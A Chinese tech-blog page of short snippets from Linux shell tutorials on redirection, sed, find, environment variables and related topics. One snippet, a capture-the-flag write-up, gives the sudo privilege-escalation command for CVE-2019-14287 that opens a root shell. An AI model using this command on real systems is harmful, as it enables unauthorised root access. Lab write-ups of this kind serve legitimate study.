原文地址为&#xff1a; linux 之 echo命令用法变量的取用就如上面的范例&#xff0c;利用 ehco 就能够读出,叧是需要在发量名称前面加上 $ , 或者是以 ${变量} 的方式用都可以!当然啦,那个 echo 的功能可是很多的, 我们这里单纯是拿 echo 来读 出发量的内容而已,更多癿的echo …

一文搞懂Linux的标准输出/错误重定向

前言 今天在写一个脚本时&#xff0c;需要将shell命令和可执行程序的输出重定向在某一个log文件中&#xff0c;但是遇到了点小问题&#xff0c;索性就研究下输出重定向到底怎么回事。 Linux系统&#xff0c;有一个非常重要概念&#xff0c;就是一切皆文件。在使用shell脚本时&a…

Linux下makefile 编译项目

文章目录1、规划makefile编写2、makefile文件2.1、根目录下common.mk2.2、config.mk2.3、根目录makefile2.4、其他目录下1、规划makefile编写 a、根目录下放三个文件&#xff1a; 1、makefile&#xff1a;是咱们编译项目的入口脚本&#xff0c;编译项目从这里开始&#xff0c;…

Linux cmp 命令

Linux cmp 命令用于比较两个文件是否有差异。 当相互比较的两个文件完全一样时&#xff0c;则该指令不会显示任何信息。若发现有所差异&#xff0c;预设会标示出第一个不同之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为"-"&#xff0c;则cmp指令…

Bash脚本的调试方法

Bash 是Linux操作系统的默认Shell脚本。Shell是用来处理操作系统和用户交互的一个程序。Shell的脚本可以帮助用户自动化地和操作系统进行交互。你也可以理解为一种脚本式的编程。即然有编程&#xff0c;那么&#xff0c;程序的编译器&#xff0c;解释器&#xff0c;调试器就必不…

Shell命令学习

利用bash shell批量修改文件名 读取目录子目录下的文件 for file in $(ls $folder) do cd "${folder}${file}"pwd doneShell获取目录下文件名、后缀并操作 使用shell脚本&#xff0c;执行python文件 conda activate py39 cd folder source launch.sh把在使用的Li…

git bash右键菜单失效解决方法

git bash右键菜单失效解决方法 这几天重新更新了git&#xff0c;直接安装新版本后&#xff0c;右键菜单失效找不到了。找了好几个博客&#xff0c;发现都不全面&#xff0c;最后总结一下解决方法&#xff1a; &#xff08;1&#xff09;按winr&#xff0c;输入regedit打开注册…

linux命令如何查看服务器上的实时日志

背景 在项目开发过程中&#xff0c;在调试的阶段&#xff0c;往往需要debug或者进行查看日志。但日志一般隐藏得比较深&#xff0c;不容易直接找到&#xff0c;常用命令可能有如下&#xff1a; # 查看当前路径下&#xff0c;所有日志文件包含"xxx"的文件中所在行 g…

interactive/non-interactive, login/non-login shells

Bash Reference Manual - GNUWhat is the difference between interactive shells, login shells, non-login shell and their use cases?Difference between Login Shell and Non-Login Shell?Cygwin Bash.exe vs. mintty.exe If you run bash.exe or mintty.exe without o…

Linux/macOS的环境配置文件(startup文件)

查看本机所有Shell liaijieSilence ~ cat /etc/shells # List of acceptable shells for chpass(1). # Ftpd will not allow users to connect who are not using # one of these shells./bin/bash /bin/csh /bin/dash /bin/ksh /bin/sh /bin/tcsh /bin/zsh使用cat /etc/she…

brace-expansion 源码解析

brace-expansion 源码解析 文章目录brace-expansion 源码解析正文0. 基本信息1. 源码解析1.0 代码结构1.1 主入口 expandTop1.2 转译/反转译 escapeBraces、unescapeBraces1.3 递归展开 expand1.3.1 不存在 {}1.3.2 忽略 ${}1.3.3 展开 {}1.3.4 非序列 > 保留原字符串1.3.5 …

Shell脚本学习

一、介绍 shell是一个用C语言编写的程序&#xff0c;是使用Liunx的桥梁。shel既是一种命令语言&#xff0c;又是一种设计语言&#xff0c;它提供一个界面&#xff08;小黑屏&#xff09;&#xff0c;用户通过这个界面访问操作系统内核的服务。 在我们通常说的shell一般说的是…

什么是交叉编译?

什么是交叉编译呢&#xff0c;简单地说&#xff0c;就是在一个平台上生成另一个平台上的可执行代码。这里需要注意的是所谓平台&#xff0c;实际上包含两个概念&#xff1a;体系结构&#xff08;Architecture&#xff09;、操作系统&#xff08;Operating System&#xff09;。…

KVM软件安装/Guest OS图形模式安装

KVM软件安装 首先你的Linux操作系统得带有图形化界面 虚拟机开启硬件虚拟化 关闭防火墙和selinux [rootserver-d ~]# systemctl stop firewalld [rootserver-d ~]# systemctl disable firewalld Removed symlink /etc/systemd/system/multi-user.target.wants/firewalld.ser…

【Linux】进程优先级 环境变量

进程优先级 环境变量 一、进程优先级1、基本概念2、查看以及修改系统进程的优先级3、一些其他的关于进程优先级的指令和函数调用4、与进程优先级有关的一些进程性质二、环境变量1、基本概念2、和环境变量相关的命令3、Linux中的常见环境变量介绍4、环境变量的组织方式以及在C代…

编译安装Fedora最新内核

编译安装Fedora最新内核 下载内核源码 首先需要确定您需要下载的内核版本。您可以在以下网站中查看Fedora发布的内核版本&#xff1a; https://koji.fedoraproject.org/koji/packageinfo?packageID8 在该页面中选择需要下载的内核版本&#xff0c;然后在页面下方找到相应的…

鸟哥的Linux私房菜 正则表示法与文件格式化处理

第十一章、正则表示法与文件格式化处理 https://linux.vbird.org/linux_basic/centos7/0330regularex.php 11.2.2 grep的一些高级选项 例题一、搜索特定字符串 例题二、利用中括号 [] 来搜寻集合字符 例题四、任意一个字符 . 与重复字符 * . &#xff08;小数点&#xff09…

Linux内核进程管理进程优先级

前言&#xff1a;进程优先级实际上是系统对进程重要性的一个客观评价。根据这个评价的结果来为进程分配不同的系统资源&#xff0c;这个资源包括内存资源和CPU资源。为了保证“公平公正”的评价每个进程&#xff0c;Google工程师为此设计了一套评价系统。为什么要有进程优先级&…

Bash中的eval命令

主要参考&#xff1a;What is the “eval” command in bash 简而言之&#xff0c;它让一个输入行被解析两次。 它是如何做到这一点的&#xff1f; shell有一系列步骤来解析一行命令。 shell读取它的输入shell将输入放入token:分为运算符和单词The shell parses the input i…

Linux中的特殊变量

特殊变量 $# 是传给脚本的参数个数 $0 是脚本本身的名字 $1 是传递给该shell脚本的第一个参数 $2 是传递给该shell脚本的第二个参数 $ 是传给脚本的所有参数的列表 $* 是以一个单字符串显示所有向脚本传递的参数&#xff0c;与位置变量不同&#xff0c;参数可超过9个 $$ 是脚本…

shell脚本部署免密登录

shell脚本部署免密登录 创建一个目录&#xff0c;用来存放脚本 [rootlocalhost scripts]# tree . ├── host └── ssh.sh0 directories, 2 files编写脚本 [rootlocalhost scripts]# cat ssh.sh #!/bin/bashset -e yum -y install expect if [ ! -f ~/.ssh/id_rsa ];the…

AMD HIP并行编程语言及其矢量相加实例——一文带你快速入门

✍️写在前面&#xff1a;随着计算的应用场景变得日益复杂多样&#xff0c;为了跟上人工智能算法对算力的需求&#xff0c;GPU硬件架构快速走向多样化&#xff0c;GPU生产厂家众多&#xff0c;且在商业和市场等因素的影响下&#xff0c;GPU通用计算编程模型也日益多元化。因此&…

用git bash调用md5sum进行批量MD5计算

对于非常大的文件或者很重要的文件&#xff0c;在不稳定的网络环境下&#xff0c;可能文件的某些字节会损坏。此时&#xff0c;对文件计算MD5即可以校验其完整性。比如本次的 OpenStreetMap 导出包&#xff0c;我的学弟反馈说&#xff0c;有朋友通过网盘下载无法解压&#xff0…

linux报错bash: ./configure:/bin/sh^M:

bash: ./configure&#xff1a;/bin/sh^M&#xff1a;解释器错误: 没有那个文件或目录 用cat -A urfile时你可以看到这个\r字符被显示为^M&#xff0c;这时候只需要删除这个字符就可以了。可以使用命令sed -i s/\r$// urfile 。

Babel 踩坑笔记: babel 命令失效(/bin/sh: babel: command not found)

Babel 踩坑笔记: babel 命令失效(/bin/sh: babel: command not found) 文章目录Babel 踩坑笔记: babel 命令失效(/bin/sh: babel: command not found)前言正文项目背景问题描述解决方案开发注意点结语其他资源参考连接完整代码示例前言 今天来分享一个使用 babel 的时候遇到的…

「alias」Linux 给命令起别名,自定义bash命令

0. 背景 Arch 系统没有 ll命令,在其他发行版用惯了一时间没有真不习惯,来配置一下吧! 1. 全局配置 我希望 ll 命令可以被所有人使用,所以应该配置在全局的bash配置文件中,一般这个全局bash配置文件在: /etc/bash.bashrc 切好管理员权限后,命令如下 echo “alias ll‘ls -l -…

【linux小技巧】

1&#xff1a;linux下打包 #!/bin/bashif [ ! -d build ];thenmkdir build #创建build文件夹 ficd build #cd到build文件夹 /usr/local/cmake/bin/cmake ../src -DCMAKE_BUILD_TYPERelease #调用linux上面的cmake工具&#xff0c;前面是路径 源码路径 编译参数r…

Wargames与bash知识20

Wargames与bash知识20 Bandit29 关卡提示&#xff1a;有一个git存储库位于ssh://bandit29-gitlocalhost/home/bandit29 git/repo通过端口2220。用户bandit29git的密码与用户bandit29的密码相同。 克隆存储库并查找下一级别的密码。 创建目录 克隆 bandit29bandit:~$ ls -al…

shell的5种循环结构

文章目录1.步进循环语句for2. while循环语句3.until循环语句4.select循环语句5. 嵌套循环作业练习&#xff1a;1.步进循环语句for for循环是最简单&#xff0c;也是最常用的循环语句。for循环通常用于遍历整个对象或者数字列表。按照循环条件的不同&#xff0c;for循环语句可以…

Linux的shell与bash

版权声明&#xff1a;本文章参考了《鸟哥的Linux私房菜》、《Linux命令手册》、《Linux命令大全》以及《Linux man pages》。未经作者允许&#xff0c;严禁用于商业出版&#xff0c;否则追究法律责任。网络转载请注明出处&#xff0c;这是对原创者的起码的尊重&#xff01;&…

深兰科技科研团队6篇论文被国际医学信息科学顶尖学术会议收录

近日&#xff0c;深兰科技科学院智能科学首席科学家黄智生教授及其所带领的科研团队与同济大学团队&#xff0c;北京工业大学团队等合作&#xff0c;在国际医学信息科学顶尖学术会议“HIS 2023”上接连发表了六篇论文(其中有两篇论文的第一作者是黄教授本人)。 10月下旬&#x…

Linux——shell脚本笔记01

文章目录第一章1. shell脚本的基本元素2. shell脚本编写规范3.shell脚本的执行方式4.执行脚本的方法5. shell脚本的退出状态第二章1.变量的命名2. 变量的类型3.变量的定义4.shell中的引用5.变量的运算第一章 1. shell脚本的基本元素 对于一个基本的Shell程序来说&#xff0c;…

Shell编程入门--概念、特性、bash配置文件

目录 一、Shell概念1.定义2.分类和使用场景2.1.分类和切换2.2.使用场景 3.特性3.1.文件描述符与输出重定向3.2.历史命令---history3.3.别名 --alias3.4.命令排序执行3.5.部分快捷键3.6.通配符置换 4.脚本规范5.脚本运行方式5.1.bash脚本执行5.2.bash脚本测试 二、bash配置文件1…

「高效程序员的修炼」快速上手Shell编程、执行与定时任务

如果对你有帮助&#xff0c;就点个赞吧~ 本文主要介绍Shell从执行到编写、以及定时执行shell脚本的相关内容 文章目录1. Shell Basis2. Linux启动过程&#xff08;六步&#xff09;3. 编写shell脚本4. shell脚本的执行方式及影响5. 管道6. 重定向7. 变量8. 环境变量配置文件 - …

rm命令——删除文件或目录

rm命令是英文单词remove的缩写&#xff0c;主要功能是删除文件或目录。 因为删除文件是一个破坏性动作&#xff0c;因此&#xff0c;在使用时需要格外小心&#xff0c;在执行之前一定要再三确认删除的是哪个目录中的什么文件。 rm命令的语法格式如下&#xff1a; rm [选项] …

git bash中文名称乱码的处理方法

第一步 设置终端显示的编码&#xff0c;git bash 窗口右键设置支持中文字符&#xff0c;选择 Options ->Text&#xff0c;选择zh_CN、UTF-8 第二步 在 git bash 终端执行以下命令&#xff1a; git config --global core.quotepath false git config --global gui.encod…

【Shell学习笔记】1.Shell 教程

前言 Shell 是一个用 C 语言编写的程序&#xff0c;它是用户使用 Linux 的桥梁。Shell 既是一种命令语言&#xff0c;又是一种程序设计语言。 Shell 教程 Shell 是指一种应用程序&#xff0c;这个应用程序提供了一个界面&#xff0c;用户通过这个界面访问操作系统内核的服务…

catf1ag PWN/Attack题解(正在更新)

写着玩。请勿破坏题目环境 easy_cat_flag 直接ssh链接就行了 easy_pwn_su ssh连上去之后发现没有权限&#xff0c;然后发现有个readme.md cat一下发现了指令&#xff0c;然后就行了 这是CVE-2019-14287 使用指令sudo -u#-1 bash easy_smb CVE-2017-7494。linux版的永恒之…

进程控制3——进程程序替换

进程的创建有fork&#xff0c;进程的退出有main函数的return&#xff0c;exit&#xff0c;_exit函数 而进程的退出中&#xff0c;一个进程的退出只能有三种情况&#xff0c;退出成功结果对/不对&#xff0c;或者是运行异常收到信号终止 但是我们发现我们用代码创建的子进程它是…

基础shell小技巧002

1. 使用if-then语句 如果之前用过其他编程语言的if-then语句&#xff0c;那么这种形式可能会让你有点儿困惑。在其他编程语言中&#xff0c;if语句之后的对象是一个等式&#xff0c;其求值结果为TRUE或FALSE。但bash shell的if语句并非如此。 重点&#xff1a;bash shell的if…

shell here文档

原文链接&#xff1a;http://t.zoukankan.com/finlay-p-3265911.html Shell中的here文档  1.名词解释&#xff1a;   以下是维基百科解释&#xff1a; here文档[1]&#xff0c;又称作heredoc、hereis、here-字串或here-脚本&#xff0c;是一种在命令行shell&#xff08;如sh…

inotify学习

inotify的原理 inotify是Linux内核的一个子系统&#xff0c;它提供了一个通用的框架来监控文件系统的变化。使用inotify&#xff0c;应用程序可以订阅和获取文件或目录状态变化的通知&#xff0c;如文件写入、读取、创建、删除、属性更改等。 inotify的工作原理分为以下几个步…

如何用Shell编写一个抽奖系统,看完我人傻了

提到Shell&#xff0c;大部分人都会想到运维&#xff0c;确实&#xff0c;对于运维来说&#xff0c;Shell是一项必不可少的基础技能。 Shell简单、灵活&#xff0c;可以使得工作变得更容易 Shell可以实现自动化管理&#xff0c;是实现自动化运维的基础&#xff0c;提高工作效率…

linux常用命令-find命令与scp命令详解(超详细)

文章目录 前言一、find命令介绍1. find命令简介2. find命令的基本语法3. 常用的find命令选项和表达式 二、find命令示例用法1. 按照名称进行搜索2. 按照类型进行搜索3. 按照修改时间进行搜索4. 按照文件大小进行搜索5. 对搜索到的文件执行指定的命令6. 删除搜索到的文件 三、sc…

Linux——shell正则表达式及sed练习题

正则表达式题目要求&#xff1a; 1、显示/etc/rc.d/rc.sysinit文件中以不区分大小的h开头的行&#xff1b; 2、显示/etc/passwd中以sh结尾的行; 3、显示/etc/fstab中以#开头&#xff0c;且后面跟一个或多个空白字符&#xff0c;而后又跟了任意非空白字符的行&#xff1b; 4、查…

docker run -itd --name rasa-tem /bin/bash语法哪里有错误

在这条命令中&#xff0c;似乎缺少了一个映像或容器的名称。正确的命令应该是&#xff1a; docker run -itd --name <container name> <image name> /bin/bash 例如&#xff1a; docker run -itd --name my-container ubuntu /bin/bash 其中&#xff0c;my-contain…

Linux下clear报错 terminals database is inaccessible 解决办法

问题发生在Linux系统下进行clear操作&#xff0c;结果报错terminals database is inaccessible 问题描述 在Linux系统下进行clear操作&#xff0c;结果报错terminals database is inaccessible clear terminals database is inaccessible解决方法 ~$ export TERMINFO/usr/sh…

批处理写定时关机和开机自动运行老化视频

扬创科技出品的X86平板电脑&#xff08;7寸-21.5寸 6代7代10代酷睿系列 、J4125 、J1900&#xff0c;承接客户各种尺寸定制&#xff09;视频方式老化测试。 需求&#xff1a;1、开机启动自动运行老化视频。 2、下午5点25正式关机。 1、开机启动自动运行老化视频。 start &quo…

bash脚本—结构化命令

1. 条件测试 [ Condition ]&#xff1a;只要 Condition 为真&#xff0c;则命令退出码为 0。 Condition 可使用如下条件测试&#xff1a; 文件测试 -e file 检查file是否存在 -s file 检查file是否存在并非空 -f file 检查file是否存在并是一个文件 -d file 检查file是否存在…

shell编程-sed命令详解(超详细)

文章目录 前言一、sed命令介绍1. sed命令简介2. sed命令的基本语法3. 常用的sed命令选项4. 常用的sed编辑命令 二、sed命令示例用法1. 替换文本2. 删除匹配行3. 打印特定行4. 在指定行之前插入文本5. 从文件中读取编辑命令6. 使用sed命令在core-site.xml文件中的\<configura…

kkfileView linux 离线安装

文章目录前言一、安装 LiberOffice二、安装kkfileView1.下载安装包2.启动总结前言 一、安装 LiberOffice 下载https://kkfileview.keking.cn/LibreOffice_7.1.4_Linux_x86-64_rpm.tar.gz 安装 tar -zxvf LibreOffice_7.1.4_Linux_x86-64_rpm.tar.gz cd LibreOffice_7.1.4.2_L…

虚拟机下Linux系统磁盘扩容

在VM虚拟机中&#xff0c;我们经常会选择默认磁盘大小20G&#xff0c;用着用着才发现20G不够用&#xff0c;服务启动不了&#xff0c;就很尴尬&#xff0c;让我们今天一起来学习下&#xff0c;如何在虚拟机给磁盘扩容。一&#xff1a;关闭虚拟机&#xff0c;添加硬盘背景&#…

【Linux】操作题大全

目录 1.若下达 # rmdir test 命令来删除某个已存在的目录&#xff0c;但无法成功&#xff0c;请说明可能的原因 2.请用shell中的while循环输出1-100的和 两种执行bash文件的方法 3. 请用shell中的for循环输出1-100 4.请用shell中的while循环输出1-100 5.计算输入的参数1和参…

直播推流神器 Kplayer 手把手教你在B站7*24h全天直播

开始前的准备工作 Linux服务器 (1)KPlayer目前仅支持Linux环境并需要满足x86_64(amd64)与aarch64(arm64)CPU架构的硬件环境上运行&#xff0c;我们已经将相关依赖库静态链接至主程序中&#xff0c;这意味着你不需要额外的安装任何的第三方库来支持KPlayer的运行。 在后续的迭代…

【LINUX权限】

目录&#xff1a;前言一、shell二、权限&#xff08;一&#xff09;文件权限&#xff08;二&#xff09;权限相关指令chmod&#xff08;修改权限&#xff09;su 、sudo&#xff08;提权&#xff09;root提权chown 、chgrpumask&#xff08;掩码&#xff09;file&#xff08;三&…

Linux_常见命令

1.ls ls -l 列出隐藏文件&#xff0c;并显示10项权限,类似如同下图 在部分发行版本的linux下&#xff0c;ll等同于ls -l 首先&#xff0c;第一列为-则代表着这一列是文件&#xff0c; 第一列为d则代表这一列为目录 除了第一位&#xff0c;那么其他还有9位&#xff0c;分为3组…

13.Linux创建快捷方式

在 Linux 中&#xff0c;创建快捷方式&#xff08;类似于 Windows 中的快捷方式&#xff09;可以使用 ln 命令实现。 ln 命令用于创建硬链接或软链接&#xff08;也称为符号链接&#xff09;&#xff0c;它将两个文件名链接在一起&#xff0c;这使得一个名称可以引用另一个名称…

sed:命令讲解一

sed的使用&#xff1a; sed的使用 一、sed1.定义&#xff1a;2.工作流程&#xff1a;读取&#xff0c;执行&#xff0c;显示。3.基本操作格式&#xff1a;4.sed操作符&#xff1a;5.扩展&#xff1a; 一、sed 1.定义&#xff1a; 一种流编辑器&#xff0c;会在编辑器处理数据…

Linux操作

Linux操作 一、Linux操作 1.安装yum包&#xff1a; $ yum install PACKAGE_NAME yum install mysql2.取出yum包装&#xff1a; $ yum remove PACKAGE_NAME yum remove mysql3.重新安装一个yum包&#xff1a; $ yum reinstall PACKAGE_NAME yum reinstall mysql4.搜索yum包…

linux称手的终端管理器Zsh(Z shell)-图文安装超详细

linux默认的shell太low了&#xff0c;iTerm2在macOS系统简直堪称终端管理神器&#xff0c;有一款可以平替iTem2的linux开源软件 Zsh&#xff08;Z shell&#xff09; &#xff0c;Zsh 是一个为交互使用而设计的 shell 一&#xff1a;安装Zsh 1.yum安装zsh yum install zsh安装…

真香!Linux 原来是这么管理内存的

Linux 内存管理模型非常直接明了&#xff0c;因为 Linux 的这种机制使其具有可移植性并且能够在内存管理单元相差不大的机器下实现 Linux&#xff0c;下面我们就来认识一下 Linux 内存管理是如何实现的。 一&#xff0c;基本概念 每个 Linux 进程都会有地址空间&#xff0c;这…

linux常用命令介绍 05 篇——实际应用篇(用 cut、uniq等统计文档里每个关键词出现的次数)

linux常用命令介绍 05 篇——实际应用篇&#xff08;用 cut、uniq等统计文档里每个关键词出现的次数&#xff09;1. 先导文章——关于行过滤 和 列截取2. 关于单个统计单词个数2.1 grep2.2 wc3. 统计文档中每个关键词出现的次数3.1 先看文档内容 需求3.1.1 文档内容3.1.2 需求…

【Linux】用户管理

&#x1f60a;&#x1f60a;作者简介&#x1f60a;&#x1f60a; &#xff1a; 大家好&#xff0c;我是南瓜籽&#xff0c;一个在校大二学生&#xff0c;我将会持续分享C/C相关知识。 &#x1f389;&#x1f389;个人主页&#x1f389;&#x1f389; &#xff1a; 南瓜籽的主页…

Shell基础之Bash基本功能

一、历史命令与补全功能 1、历史命令 history命令是Linux中一个常用的命令&#xff0c;它可以显示用户在当前shell会话中执行的所有命令。这些命令按照从最近到最早的顺序排列&#xff0c;并且每条命令都以一个唯一的数字作为标识。history会读取主目录下的.bash_history文件…

网络文件传输防止篡改-校验工具(md5sum)的使用

说明 MD5报文摘要算法&#xff08;Message-Digest Algorithm 5&#xff09;常常被用来验证网络文件传输的完整性&#xff0c;防止文件被人篡改。此算法对任意长度的信息逐位进行计算&#xff0c;产生一个二进制长度为128位&#xff08;十六进制长度就是32位&#xff09;的“指…

Linux mv根下目录/lib目录的恢复

文章目录 一、概述二、mv根下目录的恢复三、参考资料 一、概述 首先这里并不是删除了/lib&#xff0c;而是人为修改成了/libbk。 在交叉编译完busybox后&#xff0c;想测试下新版本的busybox命令。由于当前系统已完备&#xff0c;于是通过SCP将新的busybox打包拷贝到设备中。…

Shell学习(三)字符串操作

1.字符串长度 ${#varname} 大括号{}是必需的&#xff0c;否则 Bash 会将$#理解成脚本的参数个数&#xff0c;将变量名理解成文本。 2.子字符串 ${varname:offset:length} 上面语法的含义是返回变量$varname的子字符串&#xff0c;从位置offset开始&#xff08;从0开始计算&a…

sed进阶之模式替换

shell脚本编程系列 &符号可以代表替换命令中的匹配模式&#xff0c;不管模式匹配到了什么样的文本&#xff0c;都可以使用&符号代表这些内容。这样就能处理匹配模式的任何单词了。 echo "The cat sleeps in his hat." | sed s/.at/"&"/g&…

linux编写脚本之快速入门

前言 在进行Linux测试时编写脚本是必不可少的。最近经常使用Linux&#xff0c;感觉太频繁地敲击键盘有些累了&#xff0c;于是想到了Shell脚本。可以把太多的命令写成一个脚本&#xff0c;这样每次执行一遍 shell文件&#xff0c;就可以省去了敲击键盘的时间。于是在网上搜了一…

多节点部署一键启动脚本

1 背景 我们在实际项目开发的时候,往往一个大的项目需要很多人协同开发,大家都开发完成在一起联调的时候需要启动很多节点,如果每次都手动去启动所有节点效率非常低,所以我们可以写一个脚本一键启动所有进程,以下统称为节点。 根据节点依赖的环境,一键启动脚本分两种情…

Shell 传递参数

文章目录Shell 传递参数$* 与 $ 区别Shell 传递参数 我们可以在执行 Shell 脚本时&#xff0c;向脚本传递参数&#xff0c;脚本内获取参数的格式为&#xff1a;$n。n 代表一个数字&#xff0c;1 为执行脚本的第一个参数&#xff0c;2 为执行脚本的第二个参数&#xff0c;以此类…

简介 Heredoc

在编写 shell 脚本时&#xff0c;你可能需要将多行文本或代码块传递给交互式命令&#xff0c;例如 tee 、cat 或 sftp. 在 Bash 和其他 shell&#xff08;如 Zsh&#xff09;中&#xff0c;Here-document&#xff08;Heredoc&#xff09; 是一种重定向类型&#xff0c;允许您将…

Linux系统中 bashrc 和 profile 的区别

/etc/profile&#xff1a; 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行. 并从/etc/profile.d目录的配置文件中搜集shell的设置。 /etc/bashrc: 为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取。&#xff08;些linux版…

ubuntu22.04解决域名不能访问的问题

刚装好的ubuntu22.04不能访问百度&#xff0c;然后发现只能ping通ip&#xff0c;而不能ping通www.baidu.com&#xff0c;网上查了下解决方案&#xff0c; 方案一&#xff1a;修改dns&#xff1a; 修改 /etc/resolv.conf配置文件&#xff0c;但很快就会被覆盖&#xff0c;文件第…

【Liunx】进程地址空间

文章目录 &#x1f4d6; 前言1. 环境变量收尾1.1 认识bash进程&#xff1a;1.2 环境变量具有全局属性&#xff1a;1.3 内建命令&#xff1a; 2. 进程地址空间2.1 Liunx — 地址空间验证&#xff1a;2.2 感知地址空间的存在&#xff1a;2.3 认识地址空间&#xff1a;2.3 - 1&…

shell判断Linux系统Cmake、gcc、g++等版本是否满足要求

ps&#xff1a;最近给实施那边写部署C环境的脚本&#xff0c;需要判断当前环境是否满足要求&#xff0c;所以就有了这个博客 第一步&#xff1a;从cmake --version、gcc --version、g --version里面用正则通配找出版本号 #!/bin/sh output"$(cmake --version | head -1)…

Shell sed命令的奇妙用法:解决一些常见的文本处理问题

shell sed命令 sed是一种在线编辑器&#xff0c;它一次处理一行内容。 http://www.gnu.org/software/sed/manual/sed.html处理时&#xff0c;把当前处理的行存储在临时缓冲区中&#xff0c;称为“模式空间”&#xff08;pattern space&#xff09;&#xff0c; 接着用sed命令…

m1芯片brew安装nodejs

m1芯片brew安装nodejs 1、安装nvm&#xff08;node version manage&#xff09; brew install nvmvi ~/.zshrc #追加以下内容&#xff08;这段内容&#xff0c;一般是在brew install nvm执行完毕后会有显示&#xff09; export NVM_DIR"$HOME/.nvm"[ -s "/opt…

iperf3指定网卡测试 --bind-dev参数详解

本文目录1、新老版本iperf3(iperf3 3.13 vs. iperf3 3.9)参数更新2、直接看结论3、--bind-dev dev使用详解4、-B hostIP[%dev]或者 --bind hostIP[%dev]的方式最新安装上了iperf3 最新的3.13版本&#xff0c;发现多了一个参数的支持–bind-dev。关注到这个参数的一定会知道老版…

Linux:用户与用户组管理

添加用户/用户组 场景&#xff1a;john的电脑丢了&#xff0c;想借你的电脑用几天&#xff0c;但是你的电脑里有一些私人文件不想让john看到&#xff0c;于是乎&#xff0c;你决定给john建立一个账号&#xff1a; sudo useradd -m john ##新添加一个用户&#xff1b; 不带-m的…

Linux学习[5]---shell脚本之bash脚本---判断选择循环

文章目录前言1. 判断1.1 值判断1.2 文本判断2. 选择2.1 if2.2 if else2.2 case3. 循环3.1 while3.2 do while4.一些注意点前言 前面几节写了bash的一些基本概念&#xff0c;但是在程序中涉及到的选择判断之类的还没有写&#xff0c;所以涉及到的函数都是非常简单的输出样例。高…

弱网测试:使用netem模拟网络延迟、丢包、损坏、重复、和乱序等网络问题

本文目录1、延时---Delay1.1、enp2s0 网卡上增加100ms延时1.2、enp2s0 网卡上增加100ms 20ms的延时(80ms到120ms)1.3、enp2s0 网卡上增加100ms 20ms的延时(80ms到120ms)&#xff0c;并且设置相关系数为50%1.4、enp2s0 网卡上增加100ms 20ms的延时(80ms到120ms)&#xff0c;报…

【Linux之Shell脚本实战】检查文件是否被修改脚本

【Linux之Shell脚本实战】检查文件是否被修改脚本 一、脚本要求二、本地环境介绍三、配置脚本注释模板1.编辑 .vimrc 文件2.检查模板生效情况四、编写shell脚本1.创建脚本目录2.编辑shell脚本五、测试脚本功能1.没有文件修改时的结果2.当有文件修改时3.查看脚本log文件4.实践总…

【Linux】实现守护进程 | 以tcpServer为例

本文首发于 慕雪的寒舍 本文将以tcp服务器代码为基本&#xff0c;讲述如何将进程守护进程化&#xff0c;后台运行 1.守护进程 所谓守护进程&#xff0c;就是和其他进程没有关系的进程&#xff1b;其独立运行于系统后台&#xff0c;除非自己退出或收到信号终止&#xff0c;否则…

如何在 Mac 上使用 Httrack 克隆网站

再有 homeBrew 的条件下&#xff0c;在终端上键入此命令&#xff1a; $ brew install httrack可以通过 brew info httrack 获取安装地址 $ brew info httrack在访达中进入名为下载的 httrack 版本的文件夹下名为 bin 的文件夹/usr/local/Cellar/httrack/3.49.2_1/bin 打开名…

Shell入门

第1章 Shell概述 大数据程序员为什么要学习Shell呢&#xff1f; 1&#xff09;需要看懂运维人员编写的Shell程序。 2&#xff09;偶尔会编写一些简单Shell程序来管理集群、提高开发效率。 第2章 Shell解析器 &#xff08;1&#xff09;Linux提供的Shell解析器有&#xff…

「速通Shell」建楼先搬砖,Shell变量四大分类

目录 Shell变量什么是变量shell变量定义shell变量分类 环境变量常见变量变量引用变量赋值 本地变量变量定义变量引用变量赋值变量删除 位置参数变量变量定义变量引用 特殊变量变量定义变量引用 总结 上一篇我们讲述了Shell的基本概念和运行方式&#xff0c;对Shell有了整体了解…

【shell】shell结程规范与变量

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、shell脚本概述1.Shell脚本应用场景2.Shell的作用3.用户的登录Shell 二、Shell编程规范1.she11脚本的构成2.运行shel1脚本3.重定向与管道操作1.交互式硬件设备2.…

NixOS Legacy Boot(MBR) VmwareWorkstation安装向导

NixOS & Legacy Boot(MBR) VmwareWorkstation安装向导 目录 NixOS & Legacy Boot(MBR) VmwareWorkstation安装向导1. 下载镜像2. 创建空白虚拟机3. 使用命令行安装 NixOS3.1 Legacy Boot(MBR)3.2 格式化 4. configration.nix 配置文件5. 部署NixOS6. 部分教育站镜像源集…

Linux压缩与解压

文章目录 压缩和解压缩gzipbzip2tar【常用】 压缩和解压缩 gzip gzip 的常用选项&#xff1a; -l(list) 列出压缩文件的内容。-k(keep) 在压缩或解压时&#xff0c;保留输入文件。-d(decompress) 将压缩文件进行解压缩。 注意&#xff1a; 如果 gzip 不加任何选项&#xf…

shell编程lesson10

流程控制&#xff1a;for循环 for循环在循环期间只关注序列处理逻辑&#xff0c;是一种在bash脚本编程中十分流行的循环控制结构。 新版bash语言中&#xff0c;for命令存在两种形式。 for&#xff1a;传统shell形式 原始的for命令语法结构&#xff1a; for variable [in w…

【Go编程语言】 Go和Goland的安装

Go和Goland的安装 文章目录 Go和Goland的安装一、 Goland官网二、打开Goland&#xff0c;并输入激活码 GO官网地址&#xff1a;https://golang.google.cn/ go中文网地址&#xff1a;https://studygolang.com/dl 安装完成得到的目录 环境变量配置&#xff1a; 1.新建变量 变…

成功解决 Ubuntu zsh: command not found: curl 错误

事件的起因是需要使用 wget 命令下载数据集&#xff0c;发现一直卡在http应答回复阶段&#xff1a; (base) ╭─root3f9bba084332 ~ ╰─# wget https://raw.githubusercontent.com/SophonPlus/ChineseNlpCorpus/master/datasets/ChnSentiCorp_htl_all/ChnSentiCorp_htl_all.c…

2.2 Linux控制台访问CLI

系列文章目录 第1章 Linux Shell简介 第2章 Shell基础 <本章所在位置> 第3章 Bash Shell基础命令 第4章 Bash Shell命令进阶 第5章 Linux Shell深度理解 第6章 Linux环境变量 第7章 Linux文件权限 第8章 Linux文件系统的管理 第9章 Linux软件安装 第10章 Linux文本编辑器…

新唐NUC980使用记录(5.10.y内核):访问以太网(LAN8720A) 启用SSH

